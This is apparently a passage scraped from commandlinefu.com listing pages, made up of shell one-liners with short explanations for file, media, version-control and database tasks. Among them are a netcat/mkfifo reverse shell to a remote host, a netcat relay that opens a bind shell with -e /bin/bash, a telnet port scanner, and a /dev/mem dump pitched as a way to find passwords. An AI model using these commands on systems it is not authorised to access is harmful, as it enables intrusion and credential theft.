Device: 811h/2065d Inode: 217432085 Links: 1 Access: (0644/-rw-r--r--) Uid: (3801789/ asolkar) Gid: (564674/pg2118692) Access: 2009-04-16 23:34:23.000000000 -0700 Modify: 2009-06-11 00:33:59.000000000 -0700 Change: 2009-06-11 00:33:59.000000000 -0700 File: `./favicon.ico' Size: 0 Blocks: 0 IO Block: 4096 regular empty file Device: 811h/2065d Inode: 217432116 Links: 1 Access: 2009-06-06 07:25:26.000000000 -0700 Modify: 2009-06-06 07:25:26.000000000 -0700 Change: 2009-06-06 07:25:26.000000000 -0700 Stat each file in a directory Possible simplification of egrep-awk-sort with find and -exec with xargs. find -type f -print0 | xargs -r0 stat -c %y\ %n | sort Functions: find stat xargs Find files and list them sorted by modification time Works with files containing spaces and for very large directories. openssl rand -base64 12 +SQauy3iRL3W/eso Generate a random password Another password maker, for human-unfriendly passwords. '-base64' output will make sure it it can be typed on a keyboard, though the output string length will always be a multiple of 4. rm -vf /backup/directory/**/FILENAME_*(m+15) vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$' +arabic +autocmd -balloon_eval -browse ++builtin_terms +byte_offset +cindent +clientserver +clipboard +cmdline_compl (..truncated..) Functions: grep sed vim List of all vim features The above output is for a custom compiled version of Vim on Arch Linux. Just a quick shell one liner, and presents a list of all the enabled and disabled (those prefixed with a '-') features. ‹ First < 113 114 115 116 117 > Last › mencoder input.flv -ovc lavc -oac mp3lame -o output.avi Convert .flv to .avi find . -name "*.php" -type f -exec sed -i "\$d" '{}' \; Remove last line from files recursively Used this command recently to remove the trailing ?> from all the files in a php project, which has having some unnecessary whitespace issues. Obviously, change *.php to whatever you'd like. grep -rl oldstring . | parallel sed -i -e 's/oldstring/newstring/' xargs deals badly with special characters (such as space, ' and "). To see the problem try this: touch important_file touch 'not important_file' ls not* | xargs rm Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem. for f in *.txt; do mv $f `basename $f .txt`.md; done; echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p #example encrypt echo "Hi This is N5 sorta like rot13 but with numbers only" | xxd -p | tr '0-9' '5-90-6' 93147509131428751428759e8075281f272916751c141b1075271f298688751720297522142913751e201d17102728751f1e1c245a #example decrypt echo "93147509131428751428759e8075281f272916751c141b1075271f298688751720297522142913751e201d17102728751f1e1c245a" | tr '0-9' '5-90-6' | xxd -r -p Hi This is N5 sorta like rot13 but with numbers only This is N5 sorta like rot13 but with numbers only This is N5 sorta like rot13 but with numbers only. Encrypt echo "$1" | xxd -p | tr '0-9' '5-90-6' echo "$1" | tr '0-9' '5-90-6' | xxd -r -p pbpaste | ssh user@hostname 'cat > ~/my_new_file.txt' Paste OS X clipboard contents to a file on a remote machine Redirects the contents of your clipboard through a pipe, to a remote machine via SSH. find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull; done Functions: cd dirname find read git pull all repos curl http://github.com/api/v1/yaml/git user: name: Git Mirror repositories: - :description: Git Source Code Mirror :has_downloads: true :url: http://github.com/git/git :forks: 58 :homepage: http://git-scm.com :has_wiki: true :fork: false :private: false :open_issues: 1 :name: git :owner: git :has_issues: true :watchers: 383 - :description: "Hello world in every programming language " :url: http://github.com/git/hello-world :forks: 8 :homepage: http://github.com/leachim6/hello-world/wikis :fork: true :name: hello-world :watchers: 23 blog: http://git-scm.com login: git email: git@logicalawesome.com Get info about a GitHub user In this example 'git' is the user name and the output format is YAML but you can change this to XML or JSON, eg: curl http://github.com/api/v1/json/usernamehere find dir -size -1024k -type f -print0 | du --files0-from - -bc Functions: dir du find find out how much space are occuipied by files smaller than 1024K (sic) - improved The original didn't use -print0 which fails on weird file names eg with spaces. The original parsed the output of 'ls -l' which is always a bad idea. objdump -b binary -m i386 -D shellcode.bin $ objdump -b binary -m i386 -D shc shc: file format binary Disassembly of section .data: 0000000000000000 <.data>: 14: b0 0b mov $0xb,%al 16: cd 80 int $0x80 Functions: objdump disassemble binary shellcode The options -b binary and -m are needed for disassembling raw machine code when it is not part of a full binary executable with proper headers. curl http://github.com/api/v1/yaml/search/vim repositories: - name: vim-rails size: 3260 followers: 428 language: VimL fork: false username: tpope id: repo-61032 type: repo pushed: "2010-05-10T01:40:46Z" description: "rails.vim: Ruby on Rails power tools" forks: 25 score: 4.38047 created: "2008-10-09T03:16:22Z" - name: snipmate.vim size: 5052 followers: 372 username: msanders id: repo-130092 pushed: "2010-04-08T05:02:12Z" description: "snipMate.vim aims to be a concise vim script that implements some of TextMate's snippets features in Vim. " forks: 64 score: 4.387217 created: "2009-02-16T15:24:55Z" - name: nerdtree Get info about a GitHub project In this example we search for 'vim' but vim doesn't have a project on github right now. That's ok, this command still searches for every project that has 'vim' in their description (forks, plugins, etc). To get XML or JSON output just replace 'yaml' in the url with 'xml' or 'json'. $ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]} An other way to run it ( playing a random file ending with avi, flv or mpeg ) from a specified dir and a specified type of extension : making MOVIE array with a glob : MOVIE=( /PATH/TO/MY/FAVORITE/MOVIES/*.{avi,flv,mpeg} ) playing the random file from a random key from the array mplayer ${MOVIE[ RANDOM % ( ${#i[@]} + 1 ) ]]} I use only globs and a bash array. I use GNU bash, version 3.2.48 rm -d **/*(/^F) This command uses the recursive glob and glob qualifiers from zsh. This will remove all the empty directories from the current directory down. The **/* recurses down through all the files and directories The glob qualifiers are added into the parenthesis. The / means only directories. The F means 'full' directories, and the ^ reverses that to mean non-full directories. For more info on these qualifiers see the zsh docs: http://zsh.dotsrc.org/Doc/Release/Expansion.html#SEC87 pdftk first.pdf second.pdf cat output output.pdf Merge various PDF files sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk '$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr Functions: awk gawk grep sort sudo uniq To find the count of each open file on a system (that supports losf) HOST=127.0.0.1;for((port=1;port<=65535;++port)); do echo -en "$port ";if echo -en "open $HOST $port\nlogout\quit" | telnet 2>/dev/null | grep 'Connected to' > /dev/null; then echo -en "\n\nport $port/tcp is open\n\n";fi;done | grep open Functions: echo grep telnet Scans for open ports using telnet find . -type d -name .svn -exec chmod g+s "{}" \; Recursively execute command on directories (.svn, permissions, etc) The above command will set the GID bit on all directories named .svn in the current directory recursively. This makes the group ownership of all .svn folders be the group ownership for all files created in that folder, no matter the user. This is useful for me as the subversion working directory on my server is also the live website and needs to be auto committed to subversion every so often via cron as well as worked on by multiple users. Setting the GID bit on the .svn folders makes sure we don't have a mix of .svn metadata created by a slew of different users. xrandr | grep \* | cut -d' ' -f4 1920x1080 Get current Xorg resolution via xrandr Not sure if it works the same on any shell. sudo pm-suspend Suspend to ram pdfimages -j foo.pdf bar Extract JPEG images from a PDF document This will extract all DCT format images from foo.pdf and save them in JPEG format (option -j) to bar-000.jpg, bar-001.jpg, bar-002.jpg, etc. Inspired by http://stefaanlippens.net/extract-images-from-pdf-documents mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe Functions: mkfifo Shorter version with proper stderr redirection . find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort 18 ./binnum.c 22 ./helpers.h 35 ./gfx.h 112 ./lotto.pl 144 ./ftp/upload.php Count lines of code across multiple file types, sorted by least amount of code to greatest Gives you a nice quick summary of how many lines each of your files is comprised of. (In this example, we just check .c, .h, .php and .pl). Since we just use wc -l to count, you'll just get a very rough estimate of how many lines of actual code there are. Use a more sophisticated algorithm instead if you need to. resolve(){ curl -Is $1 | egrep "Location" | sed "s/Location: \(.*\)/\1/g"; } resolve http://goo.gl/gy8n -> http://www.commandlinefu.com/commands/browse resolve short urls since the most url shorteners respond with a header containing the Location: ... this works with most common shorteners find . -type l | perl -lne 'print if ! -e' Find dead symbolic links dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "${PACKAGE}"; dpkg -L "${PACKAGE}") | less Functions: cut echo read A command's package details In Debian based distros, this command will list 'binutils' package details which contains 'nm' command. You can replace 'nm' to any other command. ‹ First < 114 115 116 117 118 > Last › mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD Functions: cd mv rm move contents of the current directory to the parent directory, then remove current directory. I think this is less resource consuming than the previous examples ssh-keygen -R hostname remove hostname from known_hosts box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;} $box "Testing the box function" ============================ = Testing the box function = $box "Testing the box function" \* **************************** * Testing the box function * Functions: c++ echo unset Same as command #4962, cleaned up, shortened, and more efficient. Now a ' * ' can be used as the box character, and the variables get unset so they don't mess with anything else you might have. They marked c++ as a function for this command, but I'm not sure why. Must be a bug. emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done` Functions: echo read test uniq Re-emerge all ebuilds with missing files (Gentoo Linux) Revised approach to and3k's version, using pipes and read rather than command substitution. This does not require fiddling with IFS when paths have whitespace, and does not risk hitting command-line size limits. It's less verbose on the missing files, but it stops iterating at the first file that's missing, so it should be definitely faster. I expanded all the qlist options to be more self-describing. find $(pwd) -maxdepth 1 /foo/bar/file1 /foo/bar/file2 /foo/bar List files with full path Prints contents of current directory with the full path prepended to each entry. You can add '-type f' if you don't want the directories to show up (for those less familiar with find). I can't believe ls doesn't have an option for this. mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?issue=66&id=$n&mode=txt" ; done | xargs wget) Functions: cd echo mkdir xargs Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website Nice reading in the morning on the way to work, but sadly the .tar.gz for the whole issue 66 is not on phrack's website yet. So use wget to download. HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html /tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html Functions: diff echo mail mv Check if a web page has changed last time checked. Checks if a web page has changed. Put it into cron to check periodically. Change http://www.page.de/test.html and mail@mail.de for your needs. ls | sed s#^#$(pwd)/# This version is a bit more portable although it isn't extended as easily with '-type f' etc. On AIX the find command doesn't have -maxdepth or equivalent. ffmpeg -t 300 -r '0.5' -i head-%03d.png -i ../TvQuran.com__144.mp3 -acodec copy muxed.flv Input #0, image2, from 'head-%03d.png': Duration: 00:10:02.00, start: 0.000000, bitrate: N/A Stream #0.0: Video: png, rgb24, 600x107, 0.50 tbr, 0.50 tbn, 0.50 tbc [mp3 @ 0xc93ae50]mdb:255, lastbuf:0 skipping granule 0 Last message repeated 1 times Input #1, mp3, from '../TvQuran.com__144.mp3': Duration: 00:05:39.40, start: 0.000000, bitrate: 63 kb/s Stream #1.0: Audio: mp3, 22050 Hz, stereo, s16, 64 kb/s File 'muxed.flv' already exists. Overwrite ? [y/N] y Output #0, flv, to 'muxed.flv': Stream #0.0: Video: flv, yuv420p, 600x107, q=2-31, 200 kb/s, 90k tbn, 0.50 tbc Stream #0.1: Audio: libmp3lame, 22050 Hz, stereo, s16, 64 kb/s Stream mapping: Stream #0.0 -> #0.0 Stream #1.0 -> #0.1 Press [q] to stop encoding video:351kB audio:2610kB global headers:0kB muxing overhead 6.847169% Add an audio soundtrack to a series of images to create an flv Creates a 5 minute flv file, with the given sequence of images and audio with 0.5 fps. The images were created using the following command: for x in `seq 0 300`; do cp ../head.PNG head-`printf '%03d' $x`.png; done You can also inject metadata to seek easier using yamdi as follows: yamdi -i muxed.flv -o video.flv url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-') | sed 's/^- //' Grab just the title of a youtube video There's another version on here that uses GET but some people don't have lwp-request, so here's an alternative. It's also a little shorter and should work with most youtube URLs since it truncates at the first & convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf Replaces a color in a PDF document, useful for removing a dark background before printing. The pdf is first converted to a bitmap, so change "-density" to match your printer resolution. Also be careful about the RAM required. In this example rgb(0,0,0) is replaced by rgb(255,255,255), change to suit your needs. function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print $4}' | awk -F '" ' '{print $1}' | xargs wget } Functions: awk grep wget xargs Useful for ripping wallpaper from 4chan.org/wg generate random number growisofs -M /dev/dvd -J -r "directory name with files to add to DVD" add files to existing growable DVD using growisofs replace "directory name with files to add to DVD" with actual directory containing files you want to add to growable DVD for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done Functions: awk grep kill ssh Kill any lingering ssh processes /usr/bin/package-cleanup --oldkernels --count=3 Remove old unused kernels from Red Hat Enterprise Linux 5 & Fedora 12/13 Install using yum install yum-utils Options include: --oldkernels Remove old kernel and kernel-devel packages --count=KERNELCOUNT Number of kernel packages to keep on the system (default 2) use package-cleanup --help for a complete list MyVAR=85 awk '{ print ENVIRON["MyVAR"] }' BASH: Print shell variable into AWK Alternatively: export MyVAR=84; awk '{ print ENVIRON["MyVAR"] }' mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print "optimize table " $1 ";"}' | mysql -u uname dbname Functions: gawk grep uname command line to optimize all table from a mysql database "some line input" | sort | uniq -c | sort -nr Quickest way to sort/display # of occurences cat <( command1 arg arg ) <( command2 arg ) ... # cat <( echo 'hi' ) <( echo 'bye' ) hi bye cat stdout of multiple commands Concatenate the stdout of multiple commands. mysql DATABASE -N -s -r -e 'SQL COMMAND' $ mysql DATABASE -e 'SQL COMMAND' +----+-------+-------------+ | id | tf_id | interpro_id | | 1 | 6802 | IPR015495 | | 2 | 6802 | IPR001005 | | 3 | 6802 | IPR001005 | $ mysql DATABASE -N -s -r -e 'SQL COMMAND' raw MySQL output to use in pipes -N removes header -s removes separator chars -r raw output After using these options, the MySQL ouptut can be used with pipes very easily comm -12 FILE1.sorted FILE2.sorted > common Functions: comm Find common lines between two files find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$(dirname "$dirfile")/$outfile"; done Functions: awk basename find mv read sed sort Unaccent an entire directory tree with files. This command changes all filename and directories within a directory tree to unaccented ones. I had to do this to 'sanitize' some samba-exported trees. The reason it works might seem a little difficult to see at first - it first reverses-sort by pathname length, then it renames only the basename of the path. This way it'll always go in the right order to rename everything. Some notes: 1. You'll have to have the 'unaccent' command. On Ubuntu, just aptitude install unaccent. 2. In this case, the encoding of the tree was UTF-8 - but you might be using another one, just adjust the command to your encoding. 3. The program might spit a few harmless errors saying the files are the same - not to fear. echo '<html><body><table>' > /tmp/bar.html && find / -name '*.ogg' | sort | awk '{print "<tr><td>"$1"</td><td><audio src=\""$1"\" controls='controls'></audio></td></tr>" }' >> /tmp/bar.html && echo '</table></body></html>' >> /tmp/bar.html <html><body><table> <tr><td>/home/rob/Music/like_trains_and_taxis/tales_from_the_revolving_door/01_their_eyes_were_watching_god.ogg</td><td><audio src="/home/rob/Music/like_trains_and_taxis/tales_from_the_revolving_door/01_their_eyes_were_watching_god.ogg" controls=controls></audio></td></tr> </body><html> Functions: awk echo find sort HTML5 ogg player find OGG audio files on your *nix box and listen to them using your web browser split -b 1k file ; cat x* > file Functions: cat file split Split and join with split and cat. `split -b 1k file` splits files into 1k chunks. Rejoin them with `cat x* > file`. ‹ First < 115 116 117 118 119 > Last › svn status | grep "^\?" | awk '{print $2}' | xargs svn add Recursively Add Changed Files to Subversion Extracted from http://www.howtogeek.com/wiki/Recursively_Add_Changed_Files_to_Subversion ruby -rdate -e 'p DateTime.now.cweek' ruby one-liner to get the current week number curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo online MAC address lookup autossh -M 0 -p 22 -C4c arcfour,blowfish-cbc -NfD 8080 -2 -L localport1:server1:remoteport1 -L bind_address2:localport2:server2:remoteport2 user@sshserver SSH tunneling self-connection - port 8080 on localhost will be a SOCKSv5 proxy - at localhost:localport1 you will be connected to the external source server1:remoteport1 and at bind_address2:localport2 to server2:remoteport2 - you will be using only IPv4 and arcfour/blowfish-cbc, in order to speed up the tunnel - if you lose the connection, autossh will resume it at soon as possible - the tunnel is here a background process, wiithout any terminal window open echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done pipe output to notify-send Route output to notify-send to show nice messages on the desktop, e.g. title and interpreter of the current radio stream for i in $(seq 0 5 100); do echo $i; sleep 1; done | dialog --gauge "Install..." 6 40 Progress dialog using seq inside a subshell instead of a bash sequence to create increments. readlink /proc/self/cwd chronic () { t=$1; shift; while true; do $@; sleep $t; done & } The Chronic: run a command every N seconds in the background Chronic Bash function: chronic 3600 time # Print the time in your shell every hour chronic 60 updatedb > /dev/null # update slocate every minute Note: use 'jobs' to list background tasks and fg/bg to take control of them. VBoxManage list vms "winxp-ie6" {487b8e10-e2f8-480c-a0be-a20b51d86848} "winxp-ie7" {b5a97304-de94-4a6c-8d7c-88fa9d9054e0} "winxp-ie8" {cb6f9885-1f27-479d-aea3-2b8b96deb628} Get a list of all your VirtualBox virtual machines by name and UUID from the shell A similar command that lists only the currently running VMs is thus: VBoxManage list runningvms ...the above showing a list of VMs by name and UUID in the same format as the "$ VBoxManage list vms" command rsync --partial --progress --rsh=ssh user@host:remote-file local-file resume scp-filetransfer with rsync resume a partial scp-filetransfer with rsync svn status | awk '{print $2}' | xargs du | sort -n | tail make sure you don't add large file to your repository for i in $(seq 0 5 100); do echo $i; sleep 1; done | zenity --progress --title "Installing Foobar" --text "Pleae wait until process has finished." Create a progress dialog with custom title and text using zenity. alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"' Functions: alias export Creates a proxy based on tsocks. hexdump -e '90/1 "%_p" "\n"' /dev/mem | less view the system memory in clear text see what's in your memory right now... sometimes you find passwords, account numbers and url's that were recently used. Anyone have a safe command to clear the memory without rebooting? 7z x -so testfile.tar.7z | tar tvf - List contents of tar archive within a compressed 7zip archive Sometimes it is handy to be able to list contents of a tar file within a compressed archive, such as 7Zip in this instance, without having to extract the archive first. This is especially helpful when dealing with larger sized files. straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; } Functions: return strace Strace all signals processes based on a name ( The processes already started... ) with bash built-in Especially for sysadmins when they don't want to waste time to add -p flag on the N processes of a processname. In the old school, you did ; pgrep processname and typing strace -f -p 456 -p 678 -p 974... You can add -f argument to the function. That way, the function will deal with pgrep to match the command-line. processname -f jrockit svn diff --diff-cmd='meld' -r 100:BASE FILE Send your svn diff to meld If you like to view what has been changed between revision 100 and the BASE on FILE. Meld will give you a nice overview. :3,9w new_file Copy the text from the 3rd line to the 9th line into a new file with VI mencoder -audiofile input.mp3 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:240,harddup input1.avi input2.avi -o output.avi Concatenate video files to YouTube ready output Takes two input video files and an external audio track and encodes them together to an MPEG-4 DivX output video file with the correct size ready for uploading. tail -f access.log | pv -l -i10 -r >/dev/null Realtime lines per second in a log file -l tels pv to count lines -i to refresh every 10 seconds -l option is not in old versions of pv. If the remote system has an old pv version: ssh tail -f /var/log/apache2/access.log | pv -l -i10 -r >/dev/null sed G file.txt append empty line after every line in file.txt echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc convert hex to decimal ; decimal to hex awk '{delta = $1 - avg; avg += delta / NR; mean2 += delta * ($1 - avg); } END { print sqrt(mean2 / NR); }' Functions: awk delta This will calculate a running standard deviation in one pass and should never have the possibility for overflow that can happen with other implementations. I suppose there is a potential for underflow in the corner case where the deltas are small or the values themselves are small. gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf Convert PDF to JPEG using Ghostscript Converting your PDF file to JPEG images. You can set resolution by -r option (default: 72dpi). shebang() { if i=$(which $1); then printf '#!%s\n\n' $i > $2 && vim + $2 && chmod 755 $2; else echo "'which' could not find $1, is it in your \$PATH?"; fi; } $ shebang perl test.pl #!/usr/bin/perl Functions: chmod echo printf vim which create a new script, automatically populating the shebang line, editing the script, and making it executable. The first argument is the interpreter for your script, the second argument is the name of the script to create. ‹ First < 116 117 118 119 120 > Last › convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif Separates each frame of a animated gif file to a counted file, then appends the frames together into one sheet file. Useful for making sprite sheets for games. requires imagemagick find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip Compress logs older than 7 days echo "aBcDeFgH123" | tr a-z A-Z convert strings toupper/tolower with tr curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1 chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e 's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo' Functions: awk chkconfig fgrep host sed ssh tr And then to complete the task: Go to target host; ssh host Turn everything off: for i in `chkconfig --list | fgrep :on | awk '{print $1}'` ; do chkconfig --level 12345 $i off; done Create duplicate config: while read line; do chkconfig --level $line on; done < foo ! python % From Vim, run current buffer in python apt-cache show pkgname | grep -i "version:" $apt-cache show freemind | grep -i "version:" Version: 0.9.0~rc6+dfsg-1ubuntu1 Functions: apt grep Show a Package Version on Debian based distribution if you don't want to show string "version?, then use awk or cut filter it: apt-cache show pkgname | grep -i "version:" | awk '{ print $2 }' we can also use regex to search many packages and show their versions: apt-cache search pkgregex | grep -i "version:" 2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g' Functions: dd od sed generate random mac address vncserver -nohttpd -name hidef-server -depth 24 -geometry 1440x900 Make a high definition VNC -nohttpd don't run mini-httpd if VNC java applet is found -name change the name of the desktop, it's passed to xstartup script via $VNCDESKTOP, run different set of apps acording the name. -depth pixel depth in bits of the desktop, default is 16 -geometry size of the desktop, default is 1024x768 sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'| sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt Functions: awk grep sed extract all urls from firefox sessionstore This will extract all of the urls from a firefox session (including urls in a tab's history). The sessionstore.js file is in ~/.mozilla/firefox/{firefox profile} find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t DONE Functions: echo find mv rm sed wc defragment files Thanks to flatcap for optimizing this command. This command takes advantage of the ext4 filesystem's resistance to fragmentation. By using this command, files that were previously fragmented will be copied / deleted / pasted essentially giving the filesystem another chance at saving the file contiguously. ( unlike FAT / NTFS, the *nix filesystem always try to save a file without fragmenting it ) My command only effects the home directory and only those files with your R/W (read / write ) permissions. There are two issues with this command: 1. it really won't help, it works, but linux doesn't suffer much (if any ) fragmentation and even fragmented files have fast I/O 2. it doesn't discriminate between fragmented and non-fragmented files, so a large ~/ directory with no fragments will take almost as long as an equally sized fragmented ~/ directory The benefits i managed to work into the command: 1. it only defragments files under 16mb, because a large file with fragments isn't as noticeable as a small file that's fragmented, and copy/ delete/ paste of large files would take too long 2. it gives a nice countdown in the terminal so you know how far how much progress is being made and just like other defragmenters you can stop at any time ( use ctrl+c ) 3. fast! i can defrag my ~/ directory in 11 seconds thanks to the ramdrive powering the command's temporary storage bottom line: 1. its only an experiment, safe ( i've used it several times for testing ), but probably not very effective ( unless you somehow have a fragmentation problem on linux ). might be a placebo for recent windows converts looking for a defrag utility on linux and won't accept no for an answer 2. it's my first commandlinefu command ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/' /lib/libncurses.so.5,/lib/tls/i686/cmov/libdl.so.2,/lib/tls/i686/cmov/libc.so.6,/lib/ld-linux.so.2 Functions: awk ldd sed List the libraries used by an application For example, you need to make a copy of all the libraries that a certain application uses, with this command you can list and copy them. rpm -qa --last show the date every rpm was installed the newest rpms are at the top; individual packages can also be queried this way: rpm --last -q package FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE"; import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL" Functions: rm scp create an screenshot, upload it to your server via scp and then open that screenshot in firefox I often need to send screenshots to other people to explain settings and whatever. So I created this oneline which I use to create the screenshot with imagemagik, upload it via scp to my server and then the command opens an firefox tab with the screenshot. The screenshot can be a region or a window. You just have to replace the parts beginning with YOUR. find -print0 | xargs -0 -n 1 -P 4 -I {} sh -c "zcat '{}' | mysql nix" see mytop output Functions: find sh xargs Parallel mysql dump restore this command works with one gziped file per table, and restore 4 tables in parallel. shutdown -rF now Force an fsck on reboot Force an fsck on reboot. Useful on a system where / has mounted read-only because of file system issues. shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done PS_24509.TTF PS_24517.TTF PS_24520.TTF PS_24523.TTF PS_24510.TTF PS_24518.TTF PS_24521.TTF PS_24524.TTF PS_24516.TTF PS_24519.TTF PS_24522.TTF $ shopt -s extglob; for f in *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1 "language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf; done Apple Chancery Italic.ttf Hoefler Text Black Italic.ttf Hoefler Text.ttf Candid.ttf Hoefler Text Black.ttf Monaco.ttf Chicago.ttf Hoefler Text Italic.ttf New York.ttf Geneva.ttf Hoefler Text Ornaments.ttf Functions: cut grep mv rev tail Give {Open,True}Type files reasonable names Just a quick hack to give reasonable filenames to TrueType and OpenType fonts. I'd accumulated a big bunch of bizarrely and inconsistently named font files in my ~/.fonts directory. I wanted to copy some, but not all, of them over to my new machine, but I had no idea what many of them were. This script renames .ttf files based on the name embedded inside the font. It will also work for .otf files, but make sure you change the mv part so it gives them the proper extension. REQUIREMENTS: Bash (for extended pattern globbing), showttf (Debian has it in the fontforge-extras package), GNU grep (for context), and rev (because it's hilarious). BUGS: Well, like I said, this is a quick hack. It grew piece by piece on the command line. I only needed to do this once and spent hardly any time on it, so it's a bit goofy. For example, I find 'rev | cut -f1 | rev' pleasantly amusing --- it seems so clearly wrong, and yet it works to print the last argument. I think flexibility in expressiveness like this is part of the beauty of Unix shell scripting. One-off tasks can be be written quickly, built-up as a person is "thinking aloud" at the command line. That's why Unix is such a huge boost to productivity: it allows each person to think their own way instead of enforcing some "right way". On a tangent: One of the things I wish commandlinefu would show is the command line HISTORY of the person as they developed the script. I think it's that conversation between programmer and computer, as the pipeline is built piece-by-piece, that is the more valuable lesson than any canned script. perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out If you are in an environment where you don't have the base64 executable or MIME tools available, this can be very handy for salvaging email attachments when the headers are mangled but the encoded document itself is intact. du -sk * | sort -rn | head Find the biggest files * find . -type f -exec ls -s {} \; | sort -n -r | head -5 * find . -type f -exec ls -l {} \; | awk '{print $5 "\t" $9}' | sort -n -r | head -5 openssl base64 -d < file.txt > out Another option is openssl. sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211 Functions: sudo tcpdump Watch memcache traffic View all memcache traffic nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;## nc -l $IamTargetHost 1234 -e /bin/bash; Netcat Relay This is an example of using 3 hosts, in a netcat relay. first host connects to middle host 1 -> 2 Second hosts redirects to target host 1 -> 2 -> 3 I hope this makes sense. lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null Functions: grep mv u can hear all .ogg files with vlc that thier link are in url svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr Functions: cut grep sort uniq top svn committers (without awk) list top committers (and number of their commits) of svn repository. in this example it counts revisions of current directory. awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat Averaging columns of numbers This example calculates the averages of column one and column two of "file.dat". It can be easily modified if other columns are to be averaged. ‹ First < 117 118 119 120 121 > Last › md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") - Functions: awk diff echo Validating a file with checksum Makes sure the contents of "myfile" are the same contents that the author intended given the author's md5 hash of that file ("c84fa6b830e38ee8a551df61172d53d7"). setfacl -m u:john:r-- myfile $ ls -l myfile -rw------- 1 tom tom 248060 2009-02-15 14:02 myfile $ getfacl myfile # file: myfile # owner: tom # group: tom other::--- $ setfacl -m u:john:r-- myfile user:john:r-- mask::r-x -rw-------+ 1 tom tom 248060 2009-02-15 14:02 myfile Set file access control lists The file myfile is owned by tom and has read and write permissions for tom. Group and other permissions are empty which make myfile readable and writable only by tom. setfacl enables user tom to give read permission to user john only. The command 'ls -l' shows a '+' sign telling us that file access control list has been setup for myfile. find . -type f -exec sha1sum {} >> SHA1SUMS \; Functions: find sha1sum Generate SHA1 hash for each file in a list All output is placed in file SHA1SUMS which you can later check with 'sha1sum --check'. Works on most Linux distros where 'sha1sum' is installed. ifconfig eth1 | grep inet\ addr | awk '{print 